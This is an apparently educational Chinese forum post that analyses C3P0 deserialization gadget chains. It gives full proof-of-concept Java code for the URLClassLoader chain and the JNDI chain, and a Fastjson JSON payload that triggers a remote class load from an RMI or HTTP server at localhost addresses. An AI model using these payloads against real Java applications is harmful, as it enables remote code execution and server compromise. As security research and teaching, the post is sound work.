羊蹓狼 发表于 2024-5-17 09:47:02

C3P0反序列化链分析

前言

C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。使用它的开源项目有Hibernate、Spring等。之前有打仗到过,但是没有深入了解,像之前学二次反序列化时,WrapperConnectionPoolDataSource就是C3P0的
环境搭建

<dependency>
    <groupId>com.mchange</groupId>
    <artifactId>c3p0</artifactId>
    <version>0.9.5.2</version>
</dependency>URLClassLoader

初学者必学的一条链,先给出完整exp,然后一步步分析
package org.example;

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class urlClassLoader {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException, IOException {
      PoolBackedDataSourceBase a = new PoolBackedDataSourceBase(false);
      Class clazz = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase");
      //此类是PoolBackedDataSourceBase抽象类的实现
      Field f1 = clazz.getDeclaredField("connectionPoolDataSource");
      f1.setAccessible(true);
      f1.set(a,new evil());

      ObjectOutputStream ser = new ObjectOutputStream(new FileOutputStream(new File("a.bin")));
      ser.writeObject(a);
      ser.close();
      ObjectInputStream unser = new ObjectInputStream(new FileInputStream("a.bin"));
      unser.readObject();
      unser.close();
    }
    public static class evil implements ConnectionPoolDataSource, Referenceable {
      public PrintWriter getLogWriter () throws SQLException {return null;}
      public void setLogWriter ( PrintWriter out ) throws SQLException {}
      public void setLoginTimeout ( int seconds ) throws SQLException {}
      public int getLoginTimeout () throws SQLException {return 0;}
      public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
      public PooledConnection getPooledConnection () throws SQLException {return null;}
      public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}

      @Override
      public Reference getReference() throws NamingException {
            return new Reference("evilref","evilref","http://127.0.0.1:1099/");
      }
    }
}先看序列化的过程,进入PoolBackedDataSourceBase这个类看看writeObject
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240415131401692-1772907884.png#id=uMzbT&originHeight=676&originWidth=1582&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=
该方法会尝试将当前对象的connectionPoolDataSource属性进行序列化,如果不能序列化便会在catch块中对connectionPoolDataSource属性用ReferenceIndirector.indirectForm方法处置惩罚后再进行序列化操作,我们跟进ReferenceIndirector.indirectForm方法。
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240415131538874-102056684.png#id=TTQAs&originHeight=255&originWidth=1281&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=
此方法会调用connectionPoolDataSource属性的getReference方法,并用返回结果作为参数实例化一个ReferenceSerialized对象,然后将ReferenceSerialized对象返回,ReferenceSerialized被序列化
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240415131630742-188469288.png#height=331&id=E19UP&originHeight=431&originWidth=894&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=686.7142944335938
这里可以看出reference是可以被我们控制的,接下来看反序列化的操作,readShort获取版本号为1,往下走,
首先获取了反序列化后的对象,然后再判断这个对象o是否实现了IndirectlySerialized接口,在ReferenceIndirector的内部类ReferenceSerialized中实现了这个接口,所以通过判断,调用了o的getObject方法
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240415131803038-1559194198.png#id=zaCwg&originHeight=839&originWidth=1597&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=
跟进getObject方法,这里居然还有lookup,但是我们这条链的目的不是它,而且这里的lookup很鸡肋
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240415132146830-1499307345.png#id=MwKwv&originHeight=763&originWidth=1474&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=
跟进ReferenceableUtils.referenceToObject,由于ref是在序列化的时候可以控制的参数,那么fClassName自然也是可以控制的属性,下面就调用了URLClassLoader实例化我们的长途恶意类
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240415132341981-676665335.png#id=UAj4k&originHeight=996&originWidth=1626&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=
hex base/WrapperConnectionPoolDataSource

如果不出网,而且是fastjson或jackson的环境,可以用这个Gadget,这条链以前见过,就是学二次反序列化时的C3P0那条链,所以这里就不再讲,可以去看看我讲二次反序列化的那篇文章
JNDI

同样也是在fastjson,jackson环境中可用
package org.example;

import com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource;

import java.beans.PropertyVetoException;
import java.sql.SQLException;

public class JNDI {
    public static void main(String[] args) throws PropertyVetoException, SQLException {
      JndiRefConnectionPoolDataSource exp = new JndiRefConnectionPoolDataSource();
      exp.setJndiName("rmi://127.0.0.1:1099/evilref");
      exp.setLoginTimeout(1);
    }
}


fastjson exp:
String poc = "{\"object\":[\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\",{\"jndiName\":\"rmi://localhost:8088/Exploit\", \"loginTimeout\":0}]}"首先JndiRefConnectionPoolDataSource类中有属性jndiname及其setter方法,其setter方法会调用内部的JndiRefForwardingDataSource对象的setJndiName方法,改变JndiRefForwardingDataSource#jndiname的值,弊端点在setLoginTimeout处,我们追踪进去,经过几次setLoginTimeout来到这
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240415133744949-1677860325.png#id=yFxWZ&originHeight=521&originWidth=1313&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=
进入dereference,获取jndiName,然后调用了lookup,达到jndi的结果
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240415133852885-740471205.png#id=eSoG0&originHeight=715&originWidth=1513&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: C3P0反序列化链分析